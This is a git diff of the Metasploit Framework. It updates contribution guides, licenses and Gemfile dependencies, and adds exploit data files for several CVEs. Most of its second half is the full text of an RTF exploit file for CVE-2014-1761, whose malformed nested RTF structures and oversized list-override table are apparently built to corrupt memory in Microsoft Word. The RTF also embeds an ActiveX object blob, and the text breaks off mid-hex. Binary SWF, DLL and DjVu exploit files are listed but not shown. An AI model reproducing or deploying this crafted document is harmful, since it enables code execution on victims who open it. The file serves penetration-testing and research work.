diff --git a/.travis.yml b/.travis.yml
index 6e4c13c878..0b946b2c5c 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -3,6 +3,12 @@ before_install:
   - rake --version
   - sudo apt-get update -qq
   - sudo apt-get install -qq libpcap-dev
+  # Uncomment when we have fewer shipping msftidy warnings.
+  # Merge committers will still be checking, just not autofailing.
+  # See https://dev.metasploit.com/redmine/issues/8498
+  # - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
+  # - ls -la ./.git/hooks
+  # - ./.git/hooks/post-merge
 before_script:
   - cp config/database.yml.travis config/database.yml
   - bundle exec rake --version
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 1d6a7b48e9..6f37c1be3c 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -1,44 +1,70 @@
 # Contributing to Metasploit
 
-## Reporting Bugs
+Thanks for your interest in making Metasploit -- and therefore, the
+world -- a better place! What you see here in CONTRIBUTING.md is a
+bullet-point list of the do's and don'ts of how to make sure *your*
+valuable contributions actually make it into Metasploit's master branch.
 
-If you would like to report a bug, please take a look at [our Redmine
-issue
-tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
--- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
+If you care not to follow these rules, your contribution **will** be
+closed (*Road House* style). Sorry!
 
-If your bug is new and you'd like to report it you will need to
-[register
-first](https://dev.metasploit.com/redmine/account/register). Don't
-worry, it's easy and fun and takes about 30 seconds.
+Incidentally, this is a **short** list. The
+[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
+exhaustive and reveals many mysteries. If you read nothing else, take a
+look at the standard [development environment setup
+guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
+and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
 
-When you file a bug report, please include your **steps to reproduce**,
-full copy-pastes of Ruby stack traces, and any relevant details about
-your environment. Without repro steps, your bug will likely be closed.
-With repro steps, your bugs will likely be fixed.
+## Code Contributions
 
-## Contributing Metasploit Modules
+* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
+* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
+* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
 
-If you have an exploit that you'd like to contribute to the Metasploit
-Framework, please familiarize yourself with the
-**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
-document in the
-Metasploit-Framework repository. There are many mysteries revealed in
-HACKING concerning code style and content.
+### Pull Requests
 
-[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
-should corellate with modules at a 1:1 ratio
--- there is rarely a good reason to have two, three, or ten modules on
-one pull request, as this dramatically increases the review time
-required to land (commit) any of those modules.
+* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
+* **Do** specify a descriptive title to make searching for your pull request easier.
+* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
+* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
+* **Don't** leave your pull request description blank.
+* **Don't** abandon your pull request. Being responsive helps us land your code faster.
 
-Pull requests tend to be very collaborative for Metasploit -- do not be
-surprised if your pull request to rapid7/metasploit-framework triggers a
-pull request back to your own fork. In this way, we can isolate working
-changes before landing your PR to the Metasploit master branch.
+Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
 
-To save yourself the embarrassment of committing common errors, you will
-want to symlink the `msftidy.rb` utility to your pre-commit hooks by
-running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
-from the top-level directory of your metasploit-framework clone. This
-will prevent you from committing modules that raise WARNINGS or ERRORS.
+#### New Modules
+
+* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
+* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
+* **Don't** include more than one module per pull request.
+
+#### Library Code
+
+* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
+* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
+* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
+* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
+
+#### Bug Fixes
+
+* **Do** include reproduction steps in the form of verification steps.
+* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description.
+
+## Bug Reports
+
+* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com.
+* **Do** create a Redmine account and report your bug there.
+* **Do** write a detailed description of your bug and use a descriptive title.
+* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
+* **Don't** file duplicate reports - search for your bug before filing a new report.
+* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead.
+
+Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow.
+
+If you need some more guidance, talk to the main body of open
+source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
+or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
+mailing list.
+
+Also, **thank you** for taking the few moments to read this far! You're
+already way ahead of the curve, so keep it up!
diff --git a/COPYING b/COPYING
index abacaa53dd..6e9829593e 100644
--- a/COPYING
+++ b/COPYING
@@ -1,4 +1,4 @@
-Copyright (C) 2006-2013, Rapid7 Inc.
+Copyright (C) 2006-2013, Rapid7, Inc.
 All rights reserved.
 
 Redistribution and use in source and binary forms, with or without modification,
diff --git a/Gemfile b/Gemfile
index 9dbb6ba2db..4b6fad4025 100755
--- a/Gemfile
+++ b/Gemfile
@@ -10,6 +10,8 @@ gem 'json'
 gem 'msgpack'
 # Needed by anemone crawler
 gem 'nokogiri'
+# Needed by JSObfu
+gem 'rkelly-remix', '0.0.6'
 # Needed by anemone crawler
 gem 'robots'
 # Needed by db.rb and Msf::Exploit::Capture
@@ -19,7 +21,7 @@ group :db do
   # Needed for Msf::DbManager
   gem 'activerecord'
   # Database models shared between framework and Pro.
-  gem 'metasploit_data_models', '~> 0.16.9'
+  gem 'metasploit_data_models', '~> 0.17.0'
   # Needed for module caching in Mdm::ModuleDetails
   gem 'pg', '>= 0.11'
 end
diff --git a/Gemfile.lock b/Gemfile.lock
index d23d0eb424..6bc1f62dac 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -22,7 +22,7 @@ GEM
     fivemat (1.2.1)
     i18n (0.6.5)
     json (1.8.0)
-    metasploit_data_models (0.16.9)
+    metasploit_data_models (0.17.0)
       activerecord (>= 3.2.13)
       activesupport
       pg
@@ -37,6 +37,7 @@ GEM
     pg (0.16.0)
     rake (10.1.0)
     redcarpet (3.0.0)
+    rkelly-remix (0.0.6)
     robots (0.10.1)
     rspec (2.14.1)
       rspec-core (~> 2.14.0)
@@ -67,7 +68,7 @@ DEPENDENCIES
   factory_girl (>= 4.1.0)
   fivemat (= 1.2.1)
   json
-  metasploit_data_models (~> 0.16.9)
+  metasploit_data_models (~> 0.17.0)
   msgpack
   network_interface (~> 0.0.1)
   nokogiri
@@ -76,6 +77,7 @@ DEPENDENCIES
   pg (>= 0.11)
   rake (>= 10.0.0)
   redcarpet
+  rkelly-remix (= 0.0.6)
   robots
   rspec (>= 2.12)
   shoulda-matchers
diff --git a/HACKING b/HACKING
index a0a03362c0..1de1e7cfa1 100644
--- a/HACKING
+++ b/HACKING
@@ -1,146 +1,38 @@
-# $Id$
+HACKING
+=======
 
-This file contains some brief instructions on contributing to the
-Metasploit Framework.
+(Last updated: 2014-03-04)
 
-Code Style
-==========
+This document almost entirely deprecated by:
 
-In order to maintain consistency and readability, we ask that you
-adhere to the following style guidelines:
+CONTRIBUTING.md
 
- - Standard Ruby two-space soft tabs, not hard tabs.
- - Try to keep your lines under 100 columns (assuming two-space tabs)
- - do; end instead of {} for a block
- - Always use str[0,1] instead of str[0]
-   (This avoids a known ruby 1.8/1.9 incompatibility.)
- - Method names should always be lower_case and words separated by "_"
- - Variable names should be lower case with words separated by "_"
- - Don't depend on any external gems or libraries without talking to
-   todb to resolve packaging and licensing issues 
-
-You can use the the "./tools/msftidy.rb" script to do some rudimentary
-checking for various violations.
-
-
-Code No-Nos
-===========
-
-1. Don't print to standard output. Doing so means that users of
-interfaces other than msfconsole, such as msfrpc and msfgui, won't see
-your output.  You can use print_line to accomplish the same thing as
-puts. 
-
-2. Don't read from standard input, doing so will make your code 
-lock up the entire module when called from other interfaces. If you 
-need user input, you can either register an option or expose an 
-interactive session type specific for the type of exploit.
-
-3. Always use Rex sockets, not ruby sockets.  This includes
-third-party libraries such as Net::Http.  There are several very good
-reasons for this rule.  First, the framework doesn't get notified on
-the creation of ruby sockets and won't know how to clean them up in
-case your module raises an exception without cleaning up after itself.
-Secondly, non-Rex sockets do not know about routes and therefore can't
-be used through a meterpreter tunnel.  Lastly, regular sockets miss
-out on msf's proxy and SSL features.  Msf includes many protocols
-already implemented with Rex and if the protocol you need is missing,
-porting another library to use them is straight-forward.  See our
-Net::SSH modifications in lib/net/ssh/ for an example.
-
-4. When opening an IO stream, always force binary with "b" mode (or
-using IO#binmode). This not only helps keep Windows and non-Windows
-runtime environments consistent with each other, but also guarantees
-that files will be treated as ASCII-8BIT instead of UTF-8.
-
-5. Don't use String#[] for a single character.  This returns a Fixnum in
-ruby 1.8 and a String in 1.9, so it's safer to use the following idiom:
-  str[idx,1]
-which always returns a String.  If you need the ASCII byte, unpack it like
-so:
-  tr[idx,1].unpack("C")[0]
-
-6. Whenever possible, avoid using '+' or '+=' to concatenate strings.
-The '<<' operator is significantly faster. The difference will become
-even more apparent when doing string manipulation in a loop. The
-following table approximates the underlying implementation:
-
-        Ruby            Pseudo-C
-        -----------     ----------------
-        a = b + c       a = malloc(b.len+c.len+1);
-                        strcpy(a, b);
-                        memcpy(a+b.len, c, c.len);
-                        a[b.len + c.len] = '\0';
-        a = b           a = b;
-        a << c          a = realloc(a, a.len+c.len+1);
-                        memcpy(a+a.len, c, c.len);
-                        a[a.len + c.len] = '\0';
-
-Note that the original value of 'b' is lost in the second case. Care
-must be taken to duplicate strings that you do not want to modify.
-
-7. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's
-excellent slide show at <http://slideshow.rubyforge.org/ruby19.html>
-for an overview of common and not-so-common Ruby version related gotchas.
-
-8. Never, ever use $global variables. This applies to modules, mixins,
-and libraries. If you need a "global" within a specific class, you can
-use @@class_variables, but most modules should use @instance variables
-to store information between methods.
-
-9. Don't craft your XML document raw or by using Nokogiri, the current
-preferred way is REXML.
-
-Creating New Modules
-====================
-
-When creating a new module, the simplest way to start is to copy
-another module that uses the same protocol and modify it to your
-needs.  If you're creating an exploit module, generally you'll want
-to edit the exploit() method.  Auxiliary Scanner modules use one of
-run_host(), run_range(), or run_batch() instead of exploit().
-Non-scanner aux modules use run().
-
-
-Submitting Your Code
-====================
-
-To get started with a Metasploit Framework source clone, simply:
-
-  - Fork rapid7/metasploit-framework to your GitHub account
-  - git clone git://github.com/YourName/metasploit-framework.git
-  - gem install bundler
-  - bundle install
-
-More detailed documentation regarding the process for submitting new
-modules via GitHub is documented here:
+in the same directory as this file, and to a lesser extent:
 
+The Metasploit Development Environment
 https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
 
-This describes the process of forking, editing, and generating a
-pull request, and is the preferred method for bringing new modules
-and framework enhancements to the attention of the core Metasploit
-development team. Note that this process requires a GitHub account.
+Common Coding Mistakes
+https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
 
-For Git commits, please adhere to 50/72 formatting: your commits should
-start with a line 50 characters or less, followed by a blank line,
-followed by one or more lines of explanatory text wrapped at at 72
-characters Pull requests with commits not formatted this way will
-be rejected without review.
+The Ruby Style Guide
+https://github.com/bbatsov/ruby-style-guide
 
-For modules, note that Author field is not automatic, and should be 
-filled in in the format of 'Your Name <user[at]domain.tld>' so future 
-developers can contact you with any questions.
+Ruby 1.9: What to Expect
+http://slideshow.rubyforge.org/ruby19.html
+
+You can use the the "./tools/msftidy.rb" script against your new and
+changed modules to do some rudimentary checking for various style and
+syntax violations.
+
+Licensing for Your New Content
+==============================
 
-Licensing
-=========
 By submitting code contributions to the Metasploit Project it is
 assumed that you are offering your code under the Metasploit License
-or similar 3-clause BSD-compatible license.  MIT and Ruby Licenses 
+or similar 3-clause BSD-compatible license.  MIT and Ruby Licenses
 are also fine.  We specifically cannot include GPL code. LGPL code
-is accepted on a case by case basis for libraries only and is never 
+is accepted on a case by case basis for libraries only and is never
 accepted for modules.
 
-When possible, such as aux and exploit modules, be sure to include
-your license designation in the file in the appropriate place.
 
diff --git a/LICENSE b/LICENSE
index 8079572def..eb9c447f67 100644
--- a/LICENSE
+++ b/LICENSE
@@ -2,19 +2,23 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
 Source: http://www.metasploit.com/
 
 Files: *
-Copyright: 2006-2013, Rapid7 Inc.
+Copyright: 2006-2014, Rapid7, Inc.
 License: BSD-3-clause
 
 # The Metasploit Framework is provided under the 3-clause BSD license provided
 # at the end of this file.
 #
-# The copyright on this package is held by Rapid7 LLC.
+# The copyright on this package is held by Rapid7, Inc.
 #
 # This license does not apply to third-party components detailed below.
 #
 # Last updated: 2013-Nov-04
 #
 
+Files: data/templates/to_mem_pshreflection.ps1.template
+Copyright: 2012, Matthew Graeber
+License: BSD-3-clause
+
 Files: data/john/*
 Copyright: 1996-2011 Solar Designer.
 License: GPL-2
@@ -80,7 +84,7 @@ Copyright: 2005-2009, Joel VanderWerf
 License: Ruby
 
 Files: lib/fastlib.rb
-Copyright: 2011, Rapid7 Inc.
+Copyright: 2011, Rapid7, Inc.
 License: Ruby
 
 Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
@@ -147,6 +151,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb
 Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
 License: BSD-3-clause
 
+Files: data/webcam/api.js
+Copyright: Copyright 2013 Muaz Khan<@muazkh>.
+License: MIT
+
+
 #
 # Gems
 #
@@ -167,6 +176,10 @@ Files: arel
 Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
 License: MIT
 
+Files: bcrypt-ruby
+Copyright: 2007-2011 Coda Hale
+License: MIT
+
 Files: builder
 Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com)
 License: MIT
@@ -301,7 +314,7 @@ License: BSD-3-clause
      this list of conditions and the following disclaimer in the documentation
      and/or other materials provided with the distribution.
  .
-     * Neither the name of Rapid7 LLC nor the names of its contributors
+     * Neither the name of Rapid7, Inc. nor the names of its contributors
      may be used to endorse or promote products derived from this software
      without specific prior written permission.
  .
diff --git a/README.md b/README.md
index 3bd0c6cc5f..7141aaf065 100644
--- a/README.md
+++ b/README.md
@@ -24,10 +24,11 @@ The mailing list archives are available from:
 
 Installing
 --
-Generally, you should use the installer which contains all dependencies
-and will get you up and running with a few clicks. See the [Dev
-Environment Setup][wiki-devenv] if you'd like to deal with dependencies
-on your own.
+
+Generally, you should use [the free installer](https://www.metasploit.com/download)
+which contains all dependencies and will get you up and running with a
+few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
+you'd like to deal with dependencies on your own.
 
 Using Metasploit
 --
diff --git a/data/exploits/CVE-2014-0322/AsXploit.swf b/data/exploits/CVE-2014-0322/AsXploit.swf
new file mode 100755
index 0000000000..4e16ac3ccf
Binary files /dev/null and b/data/exploits/CVE-2014-0322/AsXploit.swf differ
diff --git a/data/exploits/capture/http/forms/extractforms.rb b/data/exploits/capture/http/forms/extractforms.rb
index 68d64581cc..f734949a5a 100755
--- a/data/exploits/capture/http/forms/extractforms.rb
+++ b/data/exploits/capture/http/forms/extractforms.rb
@@ -1,6 +1,6 @@
 #!/usr/bin/env ruby
 
-# Copyright (C) 2008 Metasploit LLC
+# Copyright (C) 2008 Rapid7, Inc.
 
 #
 # This script extracts the forms from the main page of each
diff --git a/data/exploits/capture/http/forms/grabforms.rb b/data/exploits/capture/http/forms/grabforms.rb
index 98a6e3400a..76f0c00533 100755
--- a/data/exploits/capture/http/forms/grabforms.rb
+++ b/data/exploits/capture/http/forms/grabforms.rb
@@ -1,6 +1,6 @@
 #!/usr/bin/env ruby
 
-# Copyright (C) 2008 Metasploit LLC
+# Copyright (C) 2008 Rapid7, Inc.
 
 #
 # This script extracts the forms from the main page of each
diff --git a/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll
new file mode 100755
index 0000000000..6745431ff3
Binary files /dev/null and b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll differ
diff --git a/data/exploits/cve-2014-1610/metasploit.djvu b/data/exploits/cve-2014-1610/metasploit.djvu
new file mode 100644
index 0000000000..eb000fa840
Binary files /dev/null and b/data/exploits/cve-2014-1610/metasploit.djvu differ
diff --git a/data/exploits/cve-2014-1610/readme.md b/data/exploits/cve-2014-1610/readme.md
new file mode 100644
index 0000000000..cb6dc25c27
--- /dev/null
+++ b/data/exploits/cve-2014-1610/readme.md
@@ -0,0 +1 @@
+Any DjVu file can be used this is just a snazzy Metasploit one
diff --git a/data/exploits/cve-2014-1761.rtf b/data/exploits/cve-2014-1761.rtf
new file mode 100755
index 0000000000..ff8bb04e9c
--- /dev/null
+++ b/data/exploits/cve-2014-1761.rtf
@@ -0,0 +1,183 @@
+{\rt{{{\{\info{\author ismail - [2010{\n{\info{\author ismail - [2010]}ofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}]}info{\revtim\yr{\creatim\yr2014\{\info{\author ismail - [2010]}mo3\dy8\hr3\min9}2014\m{\revt{\*\company home}im\yr2014\mo3\dy8\hr3\min9}{\info{{\revtim\yr2014\mo3\dy8\hr3\min9}\author ismail - [201{\crea{{\revtim\yr2014\mo3\dy8\hr3\min9}\info{\author ismail - [2010]}tim\yr2014\mo3\dy8\hr3\min9}0]}o3\dy8\hr3\min9}{\aut{\nofcha{\info{\author ismail - [2010]}rsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3{\creatim\yr2014\mo3\dy8\hr3\min9}\dy8\hr3\min9}\*
+sidtbl 
+{\creatim\yr2014\mo3\dy8\hr3\min9}sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}hor ismail - [2010]}\revtim{\info{\author ismail - [20{\info{\author ismail - [2010]}10]}\yr2014\mo3\dy8\hr3\min9}{\revt{\inf{\c{\*\{\nofcharsw{\nofcharsws69}{\op{\c{\*\company home}reatim\yr2014\mo3\dy8{\creatim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}erator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}s69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}company home}reatim\yr2014\mo3\dy8\hr3\min9}o{\author ismail - [201{\nofcharsws69}{\operator is{{\revtim\yr2014\mo3\dy8\hr3\min9}\*\company home}mail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}0]}im\yr2014\m{\info{\author ism{\creatim\yr2014\mo3\dy8\hr3\min9}ai{\revtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}o3\dy8\hr3\min9}{\*\company home}\i{{{\crea{\nofcharsws69}{\operator ismai{\creatim{\nofcharsws69}{\o{\*\company home}{\revtim\yr2014\mo3\dy8\hr3\min9}perator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014{\*\company home}\mo3\dy8\hr3\min9}l - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}tim{\nofcharsws{\nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}69}{\operator ismail - [2010]}{\*
+sidtbl{\nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;} 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014\mo3\dy8{\revtim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}\{{\creatim\yr2014\mo3\dy8\hr3\min9}\cr{\creati{\*\company home}m{\*\company home}\yr2{\creatim\yr2014\mo3\dy8\hr3\min9}0{\revtim\yr2014\mo3\dy8\hr3\min9}14\mo3\dy8\hr3\min9}eatim{\*\company home{\creatim\yr2014\mo3\dy8\hr3\min9}}\yr2014\mo3\dy8\hr3\min9{\*\compa{\nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ny home}}revtim\yr20{\nof{\cr{\creatim\yr2014\mo3\dy8\hr3\min9}eatim\yr2014\mo3\dy8\hr3\min9}charsws69}{\ope{{\creatim\yr2014\mo3\dy8\hr3\min9}\*\company home}rator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\revtim\yr2014\mo3\dy8\hr3\min9}14\{\creatim\yr2014\mo3\{\nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}dy8\hr3\min9}mo3\dy8\hr{\info{\auth{\info{\author ismail - {\*\company home}[2010]}or ismail - [2010]}3\min9}{\*\company{\info{\author ismail - [2010]} home}\*\company home}nfo{\*\company home}{\author{\info{\auth{\info{\author ismail - [2010]}or ismail - [2010]} ismail - [2010]}{\r{{\*\company home}\revt{\n{\nofcharsws69}{\operator ismail - [2010]}{\*
+si{\revtim\yr2014\mo3\dy8\hr3\min9}dt{\info{\author ismail - [2010]}bl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr20{{{\r{\nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}\nofcharsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3\dy8\hr3\min9}\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\info{\a{\revtim\yr2014\mo3\dy8\hr3\min9}uthor isma{\creatim\yr2014\mo3\dy8{\nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\hr3\min9}il - [2010]}14\mo3\dy8\hr3\{\*\company home}min9}evtim\yr{\no{\revtim\yr2014{\*\company home}\mo3\dy8\hr3\min9}fcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+{\*\company home}s{\revtim\yr2014\mo3\dy8\hr3\min9}id8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}2014\mo3\dy8\{{\creatim\yr201{\*\company home}4\{\nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}mo3\dy8\hr3\min9}\revtim\yr2014\mo3\dy8\hr3\min9}hr3\min9}f1{{\inf{\creatim\yr2014\mo3\dy8\hr3\min9}{\*\company home}o{\nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\a{\info{\no{\*\company home}fcharsws69}{\ope{\*\company home}rator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\author ismai{\r{\no{\revtim\yr2014\mo3\dy8\hr3\min9}fcharsws69}{\oper{\creatim\y{\creatim\yr2014\mo3\dy8\hr3\min9}r2014\mo3\dy8\hr3\min9}ator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}uthor isma{\*\company home{\info{\author ismail - [2010]}}il - [2010]}\*\list{{\creat{\{\nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr2014{\revtim\yr2014\mo3\dy8\hr3\min9}\mo3\dy8\hr3\min9}\*\company home}{\revti{\*\company home}m\yr2014\mo3\dy8\hr3\min9}{\revtim\yr2014\mo3\dy8\h{\creatim\yr2014\mo3\dy8\hr3\min9}r3\mi{\creatim\yr2014\mo3\dy{\nofcharsws69}{\operator ismail - [2010]}{\*
+sidtbl 
+sid8596814
+sid8926214
+sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}8\hr3\min9}n9}overridetable{\listoverride\listid1094795585\listoverridecount25
+{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}
+{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}}
+{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}}
+{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn232\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart1\levelpicture1\levelold1\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\leveltext\'ff\u-48831 ?\u48831 ?;}{\levelnumbers\'5A'‰dY'ï¸X';}\chbrdr\brdrnone\brdrcf1\chshdng0\chcfpat1\chcbpat1\f4\rtlch\fcs1 \af0 \ltrch\fbias0 \s69\hres1\chhres1\fi-361\li1081\lin6480\jclisttab\tx1081}}
+{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'92ZDCBA„Y';}}}
+{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn194\leveljc0\leveljcn3\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'5C'ÎÂX'ABCD;}}}
+{\lfolevel}{\lfolevel}{\lfolevel}
+\ls16962}}
+{\object\objocx\f37\objsetsize\objw1500\objh749{\*\objclass MSComctlLib.ImageComboCtl.2}{\*\objdata 01050000020000001c000000
+4d53436f6d63746c4c69622e496d616765436f6d626f43746c2e32000000000000000000001e0000
+d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000b00000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
+ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
